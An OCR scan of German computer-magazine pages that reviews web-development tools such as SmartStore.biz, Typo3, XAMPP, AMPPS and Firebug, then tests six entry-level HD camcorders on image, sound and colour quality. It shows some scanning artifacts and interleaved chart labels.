SmartStore.biz ist ein CMS fiir Online-

Shops, mit dem man die Seiten lokal
pflegt und das Ergebnis zeitgesteuert oder
manuell auf einem beliebigen Webserver ver-
offentlicht. Der WYSIWYG-Editor, die freie Plat-
zierung von Inhalts-Containern per Drag &
Drop und die mitgelieferten, konfigurierbaren
Designs erleichtern den Aufbau eines Shops.
Der bietet Funktionen wie eine Grundpreisbe-
rechnung nach Preisangabenverordnung, va-
riable Versandkosten abhangig von Lieferziel
oder Bestellwert und die Vorbereitung fir
eine TrustedShops-Zertifizierung.

Auf der Heft-DVD finden Sie die Version
SmartStore.biz 6. Sie nutzt durchgehend
HTMLS5, CSS3 und jQuery, was zum schnellen
Seitenaufbau beitragt. Das Megament sorgt
mit groBeren Navigationsflachen fir eine be-
queme Bedienung, wahrend das Shrink-
Menl den vorhandenen Platz optimal aus-
nutzt. Mehrspaltige Bilderansichten bieten
eine Zoom- und Lightbox-Funktion, der Con-
tent-Slider stellt Seiteninhalte als Dia-Show
dar. Beliebige Module lassen sich in Tabs dar-
stellen, die der Splitter horizontal anordnet.
Ein Highlight ist der dockbare Warenkorb,
der in der Ful3zeile des Shops stets zur Hand
ist. Shops lassen sich mit sozialen Netzwer-
ken wie Facebook oder Google+ verbinden.

Das Setup-Programm auf der DVD instal-
liert die kostenlose Free-Version, die Sie mit
einem Lizenzschlissel zur Vollversion StartUp
aufwerten kénnen. Sie verwaltet 100 statt 20
Produkte, bietet etliche Zusatzfunktionen und
enthdlt Plug-ins fir alle gangigen Bezahl-
dienste wie PayPal oder sofortiber-
weisung.de. Dazu mussen Sie sich auf der
Seite www.smartstore.com/heise/ct1512/biz
registrieren und dabei die ID heisect1512biz
eingeben. Sie erhalten dann per E-Mail einen
Lizenzschlussel, den Sie im Mentpunkt ,Li-
zenzieren..." rechts oben unter dem Fragezei-

chen eingeben.
a X Das Content Management
1a System Typo3 lauft im
Unterschied zu Website X5 und Smart-
Store.biz auf dem Webserver. Es eignet sich
nicht, um mal eben schnell eine kleine pri-
vate Homepage aufzusetzen. Typo3 ist eher
ein Schwergewicht, das vielféltige Moglich-

Die Eingabe

aller Datenvom
Betreiber bis hin

zu den einzelnen
Artikeln macht mit
SmartStore.biz viel
Arbeit, dafur ist das
Erstellen des Shops
selbst sehr einfach.
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keiten 'bietet, das Backend und die Site-
Struktur an die verschiedensten Gegeben-
heiten anzupassen.

So lassen sich zum Beispiel redaktionelle
Workflows mit verschiedenen Bearbeiterrol-
len flr Inhalte umsetzen. Wo das Basissystem
nicht genligt, lasst sich Typo3 mit Hunderten
von Add-ons erweitern. Ab Seite 162 finden
Sie einen ausfuhrlichen Artikel, der das Auf-
setzen und den Betrieb einer Typo3-Site be-
schreibt. Der Preis fiur die Vielseitigkeit von
Typo3 ist seine komplizierte Administration,
auch setzt Typo3 eine leistungsfahige Web-
server-Umgebung voraus.

Auch eine dynamische, da-
tenbankgetriebene Web-
site ldsst sich vorab lokal testen. Das Paket
XAMPP bietet das Ristzeug dazu. Es richtet
auf dem lokalen PC eine fertig konfigurierte
Laufzeitumgebung mit einem Apache-Web-
server, einer MySQL-Datenbank sowie den
Laufzeitumgebungen fiir die Programmier-
sprachen PHP und Perl ein. Das X im Pro-
grammnamen steht fir die drei Plattformen,
fur die das Programmpaket erhaltlich ist.
Unter Windows ldsst sich XAMPP wahl-
weise als permanent laufender Dienst oder
als Anwendung einrichten. In der zweiten
Installationsvariante startet man die einzel-
nen Komponenten Uber ein kleines Applet.
XAMPP ist als Testumgebung konzipiert
und sollte auf keinen Fall in der Lieferkonfi-
guration fur den Produktiveinsatz genutzt
werden.

AMPPS geht noch einen

Schritt weiter. Auch dieses
fur den lokalen Einsatz konzipierte Paket
umfasst einen Apache-Webserver, eine
MySQL-Datenbank, PHP und Perl. Dartiber
hinaus installiert es bei Bedarf 265 Serveran-
wendungen auf Basis von PHP oder Perl mit
einem Klick. AMPPS dient dem Hersteller
Softaculous zur Demonstration seiner Tech-
nik — mit einem Klick installierbare Weban-
wendungen -, die er an Webhoster verkauft.
Das Desktop-Pendant AMPPS ist aber véllig
kostenlos.

AMPPS lasst sich so einfach installieren
wie XAMPP. Auch AMPPS stellt ein Applet
bereit, tiber das man den Apache-Server und
die Datenbank startet. Klickt man anschlie-
Bend auf den Home-Knopf im Applet, sollte
der Browser unter der Adresse http://local-
host/ampps/ die Startseite des Systems zei-
gen. Dort hat man unter anderem Zugriff auf
phpMyAdmin, mit dem man die MySQL-Da-
tenbank administriert. e

Am linken Rand listet AMPPS die installier-
baren Anwendungen auf. Das Sortiment ist
in 24 Kategorien aufgeteilt. Es reicht von
Blogs und Calendars Giber Ad Management,
ERP und Customer Support bis hin zu Educa-
tional und Music. In der Rubrik ,Blogs” um-
fasst das Angebot neben dem bekanntesten
Vertreter WordPress auch die weniger ver-
breiteten Nucleus, b2evolution und Textpat-
tern sowie die Exoten Open Blog, LifeType,
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AMPPS
Configure
Secure AMPPS

Secunty Center Status

Database Tools

SQhte Manager Add Database

Features

Dotclear, eggBlog, Pixie, PivotX und Chyrp.
Die Rubrik ,Portals/CMS” enthélt sogar 35
Anwendungen. Wer eine davon nicht auf An-
hieb in der Ubersichtsleiste findet, kann per
Volltextsuche danach fahnden.

AMPPS stellt jede Applikation mit einer
Kurzbeschreibung vor, flr viele enthalt es
auch Screenshots, sodass man sich einen
ersten Eindruck verschaffen kann. Der Link
.Demo” fuhrt zu Installationen auf den
Homepages der Anwendungen beim
AMPPS-Hersteller Softaculous — manchmal
aber auchins Leere.

Mit einem Klick lasst sich eine Anwen-
dung einrichten. AMPPS liefert dazu auf
einer Seite zusammengefasst alle Installati-
onseinstellungen, etwa das Anwendungs-
verzeichnis, das Tabellenpréfix fur die Da-
tenbank und das Admin-Passwort. Mit
einem Klick ist alles auch wieder deinstal-
liert.

AMPPS ist als lokale Testumgebung fur
den PC beziehungsweise das Intranet ausge-
legt. Der Zugriff auf die MySQL-Datenbank,
das Datenbank-Administrationsprogramm
phpMyAdmin und das Gesamtsystem lassen
sich zwar per Passwort sichern. Das darf aber
nicht dartber hinwegtduschen, dass AMPPS
sich nicht fur den Produktivbetrieb eignet —
der Rechner, auf dem es lauft, sollte nicht
von aufen zuganglich sein.

Helferlein

Zu den Aufgaben eines Webverantwortlichen
gehort mehr, als nur das Layout zu entwerfen
und Inhalte fiir die Website einzuspielen. Eine
Website muss laufend gewartet, Fehler mus-
sen identifiziert und behoben werden.

Xenu's Link Sleuth gehort schon seit

etlichen Jahren zur c't-Auswahl fur
Webentwickler - das Programm erledigt
ganz einfach zuverldssig seinen Job: Es
durchwandert in Hochstgeschwindigkeit die
Linkstruktur einer Website und sucht tote
Links. Die Ubersichtlichen Problemberichte
zeigen auf einen Blick, wo Server vermutlich
nur temporar lahmen und wo Verweisziele
offenbar permanent verschwunden sind: wo
also Hand angelegt werden muss.

phpMyAdmin

AMPPS biindelt
265 Web-Anwen-
a | dungenineinem
Paket.

Manage Domains Add Domain

Change MySQL
Password

Wie alle anderen grof3en

Webbrowser enthalt Fire-
fox mittlerweile auch allerlei eingebaute Ent-
wicklertools, etwa die Web-Konsole, die Feh-
ler und Warnmeldungen anzeigt, oder den
CSS-Inspektor. An die Mdglichkeiten des Ori-
ginals Firebug reichen diese aber bei Wei-
tem nicht heran. Firebug ist ein Allzweck-
werkzeug fur das Debbugen von Websites: In
der Ansicht ,HTML", die beim Start geo6ffnet
ist, fachert Firebug den HTML-Code in einem
Elementbaum auf.

Uberfahrt der Entwickler eine Stelle im
Code, markiert Firebug den betreffenden Be-
reich im Dokument. Im ,Untersuchen”-
Modus arbeitet Firebug umgekehrt. So er-
mittelt Firebug unter ,Netzwerk” die Ladezei-
ten aller Dateien — womit sich Performance-
Bremsen finden lassen. Unter ,Skript” findet
sich ein vollwertiger JavaScript-Debugger.
Mo6chte der Entwickler ausprobieren, wie
sich eine kleine Anderung am Quelltext aus-
wirkt, so kann er das gleich an Ort und Stelle
tun.

Die Web Developer-

Werkzeugleiste ergdnzt
viele nutzliche Werkzeuge. So kann der Ent-
wickler schnell mal Cookies deaktivieren
oder loschen, Formulardetails einer Seite
ansehen, eine Lupe einblenden oder Kom-
mentare anzeigen lassen. Direkt aus der
Leiste heraus lassen sich zudem eine Reihe
von Webdiensten aufrufen, die zum Beispiel
den CSS- und HTML-Quelltext validieren
oder die Links Gberprifen. Web Developer
steht auf der DVD fiir Firefox und fur

Chrome bereit.
@ X FireFTP macht Firefox zum
: =4 vollwertigen FTP-Client.
Das Programm beherrscht unter anderem
SFTP und kann Verzeichnisbdume verglei-
chen und synchronisieren. Hakelt der Server,
kann FireFTP abgebrochene Verbindungen
und Transfers wieder aufnehmen. Fiir Mac
OS enthdlt die DVD einen ,echten” FTP-
Client: Cyberduck. (jo)

www.ct.de/1215116
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Martin Biebel

Bewegende Momente

Sechs HD-Video-Camcorder fiir Einsteiger ab 250 Euro

Lange haben Videoamateure auf Camcorder gewartet, die in jede Westentasche passen,
dabei brennweitenstarke Zoom-Linsen mitbringen und in Full-HD-Videoqualitat aufzeichnen.
Jetzt gibt es sie, doch inzwischen setzen Smartphones und Fotoapparate die klassischen
Camcorder unter Druck. Womit sie gegen die Konkurrenz punkten wollen, haben wir getestet.

S tatt auf dem heimischen Fernseher laufen
im Jahre 2012 die meisten Videos in Web-
Plattformen. Aufnahmen mit personlichen Er-
innerungen sind dort weniger gefragt als cle-
ver bearbeitete Kurzvideos mit origineller
Handlung oder spektakularen Szenen. Action-
Videos sportlichen Inhalts erzielen sechsstelli-
ge Zuschauerzahlen, die klassischen Themen
des Heim-Videos dagegen, Kinder und Reisen,
finden dort in der Regel kaum Zuschauer. Die
Sehgewohnheiten haben sich gedandert — und
das fuihrt zu einem Paradoxon: Video wird all-
gegenwartig, doch die Camcorder-Hersteller
vermelden sinkende Verkaufszahlen.

Die Videoaufldsung der Camcorder ent-
spricht der vieler Fotoapparate oder
Smartphones. Sie alle zeichnen Full-HD (High
Definition) mit 1920 x 1080 Pixeln auf, was
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der maximalen Videoaufldsung moderner
Flachbildschirme entspricht. Dennoch sind
die Qualitatsunterschiede - quer durch die
Gerdtekategorien Smartphones, Fotokame-
ras und Camcorder - grof3, da fur die qualita-
tiv anspruchsvolle Umsetzung hochwertige
Sensoren, aufwendig optimierte Objektive
und ausgefuchste Kompressionsverfahren
notig sind. Folglich spielt bei einem Ver-
gleichstest noch immer die tatsachliche Auf-
I6sung die erste Geige.

Derzeit liegen die Preise fur Top-Consu-
mer-Camcorder bei etwa 1000 Euro. Viele re-
nommierte Hersteller bieten die glinstigsten
Modelle ihrer Produktreihe schon fiir um die
300 Euro an. Das ist immer noch viel Geld
und wirft die Frage auf, ob ein separates
Gerdt zur Videoaufzeichnung heute noch

notigist - oder ob der Fotoapparat, vielmehr
aber das Smartphone, den Camcorder dem-
ndchst ersetzen, so wie es schon dem MP3-
Player erging.

Fortschritte

Moderne Camcorder versuchen, die Szenerie
vor der Kamera selbsttétig zu erkennen und
ihre Einstellungen daran anzupassen. Diese
intelligenten Automatiken funktionieren
immer besser; vor allem Gesichter werden
heute zuverldssig erkannt - selbst in der Ein-
steigerklasse. Auch der Autofokus reagiert
von Serie zu Serie exakter und schneller.
Durchweg bringen die hier vorgestellten
Camcorder eine kleine HDMI-Buchse flir den
digitalen HDTV-Anschluss mit. Den analogen
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Anschluss fur heruntergewandeltes FBAS-
PAL-Fernsehen mit 720 x 576 Pixeln gibt es
zwar noch, doch der Wechsel zum hochauf-
I6senden TV scheint in der Anwenderschaft
weitgehend vollzogen.

Der USB-Anschluss, der zum Uberspielen
der Szenen in den PC dient, wird héufig auch
zum Laden der eingebauten Akkus genutzt.
Deren Kapazitat wurde so weit gesteigert, dass
man eine Filmsession von zwei bis drei Stun-
den Dauer meist mit einer Akkuladung bestrei-
ten kann. Wenn das nicht reicht, erlauben
Markengeréate den Einsatz potenterer Akkus.

Ein Sucher fehlt auch in der Mittelklasse
haufig, bei den hier vorgestellten Einsteiger-
Camcordern muss man bei allen Kandidaten
darauf verzichten. Dieses teure Bauteil wurde
zugunsten des Touchscreens und der kom-
pakten Bauweise wegrationalisiert — trotz
des Protestes ambitionierter Filmer. Eine
Fernbedienung, die vor allem bei Stativ-
aufnahmen willkommen ware, fehlt allen
Testkandidaten.

Die Videos - liblicherweise im AVCHD-
Standard - werden generell auf SD-Karten
gespeichert, oft in der neuesten Variante
SDXC. Doch die muss man zusatzlich kaufen,
denn Speicherkarten werden nicht mitgelie-
fert. Zum Anschauen und Bearbeiten der
Videos sollte ein aktueller Rechner mit min-
destens zwei Prozessorkernen (Dualcore)
verwendet werden; auf dlteren, weniger
leistungsstarken Modellen ruckelt oft die
Wiedergabe. Manche Hersteller — im Testfeld
etwa Samsung oder Yashica - verwenden ei-
gene Codecs, die H.264-kodierte MP4-Clips
liefern. Solche Aufnahmen laufen auf den
Ublichen Videoplayern, man kann aber nicht
sicher sein, dass sie von allen Schnitt-
programmen verstanden werden.

Einheitslook

Die Gerate der Einsteiger-Klasse - in der
Regel schwarz eingefdrbt — dhneln langli-
chen Roéhren, die eine groRe Mannerfaust
knapp umschlieBt. Viele billige Gerate fir
deutlich unter 200 Euro tragen ebenfalls die-
sen Look; sie werden als vollwertige Camcor-
der beworben, der Laie kann sie kaum von
‘Markengeraten unterscheiden. Jedes Jahr
werden von diesen Camcordern ebenso viele
verkauft wie von Markengeraten. Bei diesen
Produkten ist jedoch geboten, denn
sie enthalten sehr oft billige Displays mit
niedriger Auflésung und billige, wenig licht-
starke Objektive; auch Fokussiersystem und
Bildstabilisator kdnnen meist nicht mit Mar-
kenware mithalten. In diesem Test haben wir
derartige Gerdte nicht berticksichtigt.

Canon Legria HF R306

Canon verlangt fur sein Einsteiger-Modell
50 Euro mehr als die Konkurrenz von JVC,
Sony und Panasonic. Das angenehm grof3e
Display spiegelt merklich und ist auBerhalb
der Hauptbetrachtungsachse nicht gut ein-
sehbar. Fokussiert wird per Finger-Tipp auf
das Touch-Display. Das drei Ebenen-Ment
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Der teurerste Camcorder im Testfeld: Canons HF R 306

wartet mit hoher Videoqualitat auf.

mit Haupt-, Unter- und Funktionsverzeichnis
ist gut gemacht - sogar mit ein wenig
Gestensteuerung, um zum Beispiel durch die
Szenen zu blattern. Doch insgesamt sind die
Mens etwas zu vielschichtig.

Die Kinolook-Funktion erlaubt es, ver-
schiedene Filmstile (etwa alter Western, Serie
der 70er Jahre) zu imitieren. Auch das Ver-
schonern langweiliger Szenen mit bunten Li-
nien ist moglich. Sogar Lichtreflexe kénnen
nachtraglich gesetzt werden.

Der HF R306 eignet sich im Unterschied zu
vielen Konkurrenten fir den Stativ-Einsatz,
denn SD-Karte und Akku sind von der Seite
zuganglich. Beim Akku ist dies auch notig,
denn der mitgelieferte Stromspeicher ver-
sorgt den Camcorder fiir héchstens eine
Stunde. Fir den Einsteigeristder ,story-crea-
tor” sinnvoll: Er erstellt schon im Camcorder
kleine, sehenswerte Filme, indem er ein
Grundraster vorgibt, das der Filmer mit kur-
zen, vier bis acht Sekunden langen Szenen
befiillt. Am Ende der Party oder der Reise hat

er dann bereits ein ansehnliches Filmraster.
AnschlieBend lasst sich die Reihenfolge be-
arbeiten und der Film per mitgelieferter Soft-
ware direkt ins Web laden oder vorfiihren.
Dem R 306 fehlt eine manuelle Verschluss-
einstellung, aber er enthélt eine Funktion zur
Arretierung der Blende. Jahrelang boten ein-
fachere Camcorder nur eine Shift-Funktion
fur den Arbeitspunkt der Blende; unange-
nehmes Helligkeitspumpen wéahrend der
Aufnahme lief3 sich damit nicht vermeiden.
Unsere Testergebnisse bescheinigen dem
Canon im Testfeld das beste Bild - solange
es ausreichend hell vor der Kamera ist. Dazu
bietet er mit Windschutz und Pegel-Damp-
fung eine sehr gute Tonaufnahme. AuBer-
dem enthélt der HF R306 im Testfeld die
beste Optik mit einem unhoérbaren, sehr
sanft startenden Motor und einem Zoombe-
reich, der ohne nennenswerte Bildbeein-
trachtigungen bis zur 52fachen Brennwei-
tenverlangerung reicht. Bei schwacher Be-
leuchtung ist das Rauschen sehr feinkdrnig

Mit beachtlicher Lichtstarke: Der JVC GZ E 205 liefert auch

bei schlechtem Licht brauchbare Aufnahmen.
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Video-Auflosung

Die horizontale Achse gibt an, wie viele
Linienpaare der Camcorder darstellen
kann (in Linienpaaren pro Bildbreite); die
Vertikalauflosung wird auf den gleichen
Maximalwert normiert. Die vertikale Achse
beziffert den Kontrast, also wie deutlich
sich die Linienpaare von Weil3 abheben.
Unterschreitet die Kurve ein Drittel des
Maximalkontrastes (Faktor 0,3), sind die Li-
nien vom menschlichen Auge kaum noch
zu trennen. Die gelbe Kurve reprdsentiert
das Auflésungsvermdgen bei schwachem
Licht (30 Lux). Hier fallen alle Probanden
gegentber ihrer Tageslichtleistung deut-
lich ab. Unter lichttechnischen Extrem-
bedingungen zeichnet also kein Camcorder
feine Details auf.
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und stort kaum, allerdings geht die Scharfe
deutlich zurtick, auch die Farben verlieren an
Intensitdt. Der optische Bildstabilisator
schneidet als bester im Testfeld ab — zumal
er weniger nachzieht als der des Samsung.
Fur einen einfacheren Zugang zur mobi-
len Welt - auch ohne eine Nachbearbeitung
— zeichnet der R306 zusétzlich zu AVCHD im
MP4-Standard auf. Das Signal erreicht nicht
ganz die gleiche Qualitdt wie bei AVCHD, die
Cliplange ist auf 30 Minuten begrenzt, doch
bei Internetvideo ist das kein Problem.
Canon bietet weitere Camcorder (R36,
R38) mit vergleichbarer Technik, die im Un-
terschied zum R306 internen Speicher ent-
halten oder per W-LAN direkt mit dem Inter-
net oder einem Apple-iPad kommunizieren.

JVC GZ-E 205

Wo die meisten anderen Camcorder so gut
wie keine Tasten mehr aufweisen, hat der
GZ-E 205 hinter dem Display vier, darunter
der Modus-Umschalter zum Wechseln von
Film- auf Fotofunktion, der bei all diesen Ge-
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Die Messungen zeigen, dass die Aufldsung
- bezogen auf Full HD mit horizontal 1920
Pixeln - bei allen Kandidaten ahnlich hoch
liegt. Die vorgestellten Camcorder zeich-
nen im Mittelbereich mit etwa 500 bis 600
Linienpaaren auf, bisweilen Uberstreichen
sie im Tageslicht-Chart auch die Grenze zu
700 Linienpaaren. Gerate der Spitzenklasse
erreichen heute allerdings die Systemgren-
ze bei 960 Linienpaaren. Canon kommt
diesem Ziel am nachsten und Ubertragt die
meisten Details; die Aufldsung féllt aber
bei nachlassendem Licht schnell ab, offen-
bar um das sichtbare Rauschen zu begren-
zen. Bei sehr wenig Licht haben Yashica
und JVC mit durchaus hellen und kontrast-
reichen Aufnahmen die Nase vorn. Bei
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raten eher aus Marketinggriinden denn aus
filmerischer Notwendigkeit vorhanden ist.
Anscheinend mochte der Hersteller schon
auBerlich auf den Doppelnutzen hinweisen,
auch wenn - wie hier - die Fotofunktion
nicht der Rede wert ist.

Die Symbole auf dem Display fallen wie
beim Sony etwas klein aus, dafir ist der Be-
trachtungswinkel erfreulich grof3. Offenbar
hatten die Entwickler dieses Camcorders
etwas Ubrig flur verspielte Naturen: Bevor
sich wichtige Bildparameter verandern las-
sen, zeichnet die Effektabteilung Herzchen,
Blimchen oder Noten mitten ins Monitorbild
oder ldsst sie permanent durchs Bild perlen.

Das transparent eingeblendete Men( ge-
fallt; die Eintrage sind gro3 genug, um sie
auch mit kraftigen Fingern sicher zu treffen.
Die Struktur der Menls dagegen ist etwas
umstandlich, denn man muss sich zu oft
durch die Mendilisten mihen. Wer den Sinn
einer Funktion nicht versteht, kann sich aus
dem Web ein dickes Handbuch herunterla-
den. Damit geht JVC einen Schritt weiter als
die Konkurrenz, die zu ihren oft knappen An-

ihnen liegt die gelbe Kurve vergleichswei-
se hoch. Sony und Panasonic dagegen ser-
vieren bei Schwachlicht eher flaue, detail-
arme Bilder.

Mit Ausnahme des Samsung HMX-Q 20
sind horizontale und vertikale Auflésung
bei allen Modellen gleich gut entwickelt.
Beim Samsung zeigt die Messkurve der
Tageslicht-Auflésung einen grof3en Buckel,
der auf eine kinstliche Kantenanhebung
hindeutet. Ahnlich - wenn auch nicht so
ausgepragt - verhdlt es sich beim JVC. Bei
beiden wird mit technischen Tricks Kna-
ckigkeit ins Bild gehievt, wo eher fein-
strukturierte Details gefragt sind. Der Bild-
eindruck verliert so an Naturlichkeit.
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leitungen noch Handbiicher auf Silberschei-
ben beilegen. In Sachen Dokumentation
legen altmodische Hersteller wie Sony ein
ausfihrliches Handbuch bei - im Sinne des
Kaufers nach wie vor die beste Losung.

Das 40fach-Zoom-Objektiv wird mit einer
fein steuerbaren Wippe dirigiert. Das beein-
druckende Zoom-Mikrofon macht Klange
aus der Entfernung horbar, wenn gezoomt
wird. Allerdings klingen die Tonspuren je
nach Brennweite unterschiedlich; will man
die Aufnahmen spater schneiden, sollte man
von dieser Funktion daher besser die Finger
lassen. Die Tonqualitdt dagegen fallt mit
hoher Sprachverstandlichkeit erfreulich aus;
so empfiehlt sich der JVC sogar fir Musikauf-
zeichnungen.

Der kleinste Camcorder im JVC-Programm
geféllt durch seine hohe Lichtstérke. Bei mie-
sesten Lichtbedingungen zeigt er zwar ein
klares Bild, die Videos enthalten dann aber
kaum Blautone und nur wenige Details; beim
Schwenken verschleifen die Bilder enorm.
Leider setzt sich das bei Aufnahmen unter
Wohnzimmer-Lichtbedingungen fort. Selbst
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Audio-Frequenzgang

Canon Legria HF
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Der Frequenzgang zeigt, wie gleichmaBig
die Camcorder Audio-Signale aufzeichnen.
Die vom Menschen wahrnehmbaren Téne
liegen zwischen etwa 30 Schwingungen pro
Sekunde (Hertz) und etwa 20 000 Hertz, der
sprachwichtige Bereich bewegt sich etwa
zwischen 200 und 4000 Hertz.

Auf der Vertikalachse des Diagrammes ist
der Schallpegel aufgetragen, normiert auf
1000 Hertz. Je breiter und gleichmaBig
hoch also die Kurve ausfallt, desto besser.

bei guter Beleuchtung erreicht der JVC kein
hohes Scharfeniveau, auch die Klarheit der
Details lasst etwas zu wiinschen ubrig. Im-
merhin ist kaum stérendes Bildrauschen zu
sehen. Bei Tageslicht stellten wir Farbrau-
schenin intensiven Rottonen fest.

JVC hat sich einige praktische Helfer ein-
fallen lassen. Beispielsweise schaltet das D-
Symbol einen GroB3teil der Monitor-Einblen-
dungen ab und bei Bedarf wieder zu. Prak-
tisch auch der Farb- oder Bereichs-Tracker;
damit erfasst der Camcorder einen Bild- oder
Farbbereich im Motiv und behdlt dort Schar-
fe und Helligkeit bei. Ein Druck auf die Silent-
Taste unterdriickt alle akustischen Signale
des Camcorders und reduziert die Helligkeit
des Displays.

Panasonic HC-V100

Als einziger Camcorder im Testfeld kommt
der HC-V100 ohne Touchscreen daher. Statt-
dessen ist das Gerat mit vier kleinen Tasten
auBen am Display-Rahmen ausgestattet;
damit Iasst es sich fast genauso elegant be-
dienen - und das sogar oft zuverldssiger und
ohne Fingerabdrticke auf dem Display. Das
klar und gut strukturierte Menu wird von
einer Laufschrift erganzt, die im unteren Dis-
playbereich im Klartext beschreibt, was die
gerade angewahlte Funktion tut. Dasist nicht
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Um dumpfe Storgerausche (Trittschall) aus-
zublenden, zeichnet keiner der Kandidaten
besonders tiefe Tone originalgetreu auf.
Dennoch sollte die Kurve spdtestens bei
etwa 200 Hz in Ndhe des Normpegels (0dB)
liegen, sonst vermisst man im hdorbaren
Resultat die Bésse. Das erreicht der Sony
CX200 am besten, am schwachsten schnei-
det das Yashica-Mikrofon ab.

Vorbildlich bei der Hohenwiedergabe sind
Sony und Canon, die bis zur Grenzfrequenz

nur Anfangern, sondern auch Gelegenheits-
anwendern willkommen. Display und Symbo-
le dhneln insgesamt denen beim Sony; bei-
des ist etwas klein ausgefallen. Die Zoomwip-
pe funktioniert akzeptabel, wenn auch etwas
weniger fein als bei Canon und JVC.

Die intelligente Motiv-Automatik ist bei
Panasonic am weitesten entwickelt; sie er-
kennt Portraits, Landschaften, Sonnenunter-
gange und vieles andere erstaunlich zuver-
ldssig. Die automatische Kontrastanpassung
sollte der Filmer am besten nicht ausschal-
ten. Die Qualitat des Bildstabilisators bleibt
ein wenig hinter der von Samsung und
Canon zurtick.

Sehr gut gefallen hat uns die komplett
manuelle Bildparametereinstellung: Unab-
hangig voneinander lassen sich in einem
kleinen Onscreen-Menu Blende und Belich-
tungszeit sowie Fokus und Weil3abgleich
schnell und zielsicher einstellen. Damit ist die
HC-V100 der einzige aktuelle Einsteiger-
Camcorder mit Shutter-Einstellung.

Die Bildqualitat des Panasonic ist der des
Canon nicht gewachsen. Die Charakteristik
bei sehr wenig Licht dhnelt der bei JVC: un-
scharf, aber rauschfrei. Doch gar so matt hatte
das Ergebnis nicht ausfallen mussen. Die im
Messlabor ermittelten Kurven weisen darauf
hin, dass die fehlende Schérfe in den Videos
durch einen technischen Trick, namlich per
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von 20 000 Hz aufzeichnen. Das schafft
zwar auch der Panasonic V100, doch stort
hier ein Einbruch bei 4000 bis 5000 Hz, der
sich allerdings weniger deutlich aufs hor-
bare Ergebnis auswirkt, als die Messkurve
erwarten lasst. Der Samsung féllt in den
Hohen etwas zu frih ab, wohl auch um
hochfrequentes Rauschen besser kaschie-
ren zu kdnnen. Das Yashica-Mikrofon ist mit
seinen Uberreprasentierten Hohen fir
Sprachaufnahmen tauglich, fur Musikauf-
nahmen dagegen weniger geeignet.

Kantenaufsteilung erzeugt werden soll. Bei
Schwenks verschleifen die Objektkanten,
selbst bei Tageslicht. Die Audioabteilung
arbeitet soweit problemlos; der Ton klingt
etwas dinn, ist aber frei von Storgerduschen.
Der Akku hélt mehr als 2 1/2 Stunden durch.
Wie bei dem Yashica-Gerét befindet sich
die Klappe zum Speicherkartenwechsel an
der Camcorder-Unterseite, ist also im Be-
darfsfall auf vielen Stativen nicht zugdnglich.

Samsung HMX-Q20

Etwas gestreckter als die anderen Kandida-
ten zeigt der HMX-Q20 eine bemerkenswert
schlanke Silhouette. Im Unterschied zur Kon-
kurrenz befindet sich die Zoom-Wippe hin-
ten, eingebettet in ein grof3es, unbequem
bedienbares Vierrichtungselement, in dessen
Zentrum der Ausloser sitzt. Die Wippe rea-
giert deutlich unempfindlicher als etwa die
von Canon und JVC. Das Menu nutzt zahlrei-
che, verstandliche Logos und Piktogramme.
Praktisch: Ein Fingertipp reicht, um all die
stérenden Einblendungen wahrend der Auf-
nahme verschwinden zu lassen. Auch Sam-
sung setzt auf digitale Looks wie Schwarz-
weil} oder Bildeinfarbungen.

Als Besonderheit filmt der Samsung auch
im Hochformat. Die Anzeige im Display dreht
sich auf Knopfdruck mit allen Einblendungen
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Ohne Touchscreen, dafiir mit Tastern an der Display-Klappe: Beim Panasonic
HC-V100 kann man viele Parameter manuell steuern.

mit. Im Player erscheint das Video automa-
tisch senkrecht, nicht auf dem Kopf oder
querliegend. Fur die Wiedergabe am Fern-
seher ist diese Funktion nicht gedacht, pro-
fitieren konnen davon jedoch Nutzer von
Webvideos im Hochkantformat und Smart-
phones. Deren Player zeigen die Videos dann
formatfillend vertikal.

Der HMX-Q20 speichert Videoclips, die im
eigenen Samsung-MPEG4-Dialekt kodiert
werden, oder schie8t Fotos mit zwei oder
funf MPixeln Auflésung. Von der Speicher-
karte lesen viele Rechner die Video-Dateien
nicht flssig; liegen sie aber erst auf der PC-
Festplatte, gibt zum Beispiel der VLC Media
Player sie reibungslos wieder. Ahnlich wie
bei Canon oder Sony erlaubt es der Sam-
sung-Camcorder, Clips noch in der Kamera
zu einem Film zu verbinden und abspielfer-

tig zu machen. Dazu gibt es die Mdglichkeit,
Sound hinzuzufiigen und synchron zur Dia-
schau abzuspielen. Schén, dass Samsung
einen Zeitraffer fur die Intervallaufnahme
eingebaut hat; damit kann man den aktuell
sehr begehrten Time-Lapse-Effekt (Zeitraffer)
erzeugen.

Der Samsung-Camcorder erzeugt ein
deutliches Bildrauschen und landet in dieser
Kategorie auf den hinteren Platzen. Beim
Bildschwenk kommt es bei Aufnahmen in
Full-HD zu leichtem Bildruckeln, dabei gehen
Bilddetails verloren. Bei Tageslicht liegt die
Schérfe auf gutem Niveau. Der Bildeindruck
ist auch farblich Uberzeugend. Der zupa-
ckende, optische Bildstabilisator macht eine
gute Figur. Klanglich aufféllig und stoérend:
Der Ton pfeift beim Zoomen. Obendrein
muss der Samsung-Filmer mit Stérgerdu-

Filmt auch im Hochformat: Der Samsung HMX-Q20 erzeugt

auf Wunsch Zeitraffer-Aufnahmen.
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Video-Farbwiedergabe (YUV)

O Kunstlicht-Wei8
O Soll-Wert @ Ist-Wert

M Blau

In diesen Diagrammen sind sechs Grund-
sowie drei Mischfarben in ihren Farbkoor-
dinaten eingetragen. In dieser Vektorskop-
Darstellung definieren die Quadrate die
ideale Sollposition bei maximaler Satti-
gung. Je weiter die tatsdchliche Farbe
(Quadrat im Kreis) innen liegt und von der
ihr zugehorigen Achse entfernt ist, desto
mehr weicht die Farbwiedergabe des be-
treffenden Camcorders von diesem Ideal
ab, desto groBer ist also der Farbfehler. Bei
den Mischfarben zdhlt nur die Differenz.
Weil der nutzbare Bereich (Farbraum) fir

Canon HF R 306 - 59

JVCGZE 205 11,1

Panasonic H(-V100 o 9,4

Samsung HMX Q20 7,6

Sony HDR (X200 el 9,1

Yashica(MHP 12 I 9,5
126

@ Magenta @ Rot CJGelb O Griin
Gesamtfarbwert @8 Waldgriin @0 Hautton @0 Himmelblau @8 Burgundrot

O Cyan

Video-Zwecke normiert ist, sind fur die
immer populdrere Wiedergabe von Farb-
fotos an HD-Fernsehern spezifische Werte
einzuhalten. Bei der digitalen Wiedergabe
Uber einen direkt angekoppelten PC oder
TV-Display kommt es dagegen nur auf
die Fahigkeiten von Fernseher und Kamera
an. Deshalb sind hier intensivere Farben
maoglich. Das zeigt insbesondere der JVC
E 205 mit knalligen Farben im dargestellten
Tageslicht-Chart. Dezent und exakt verhalt
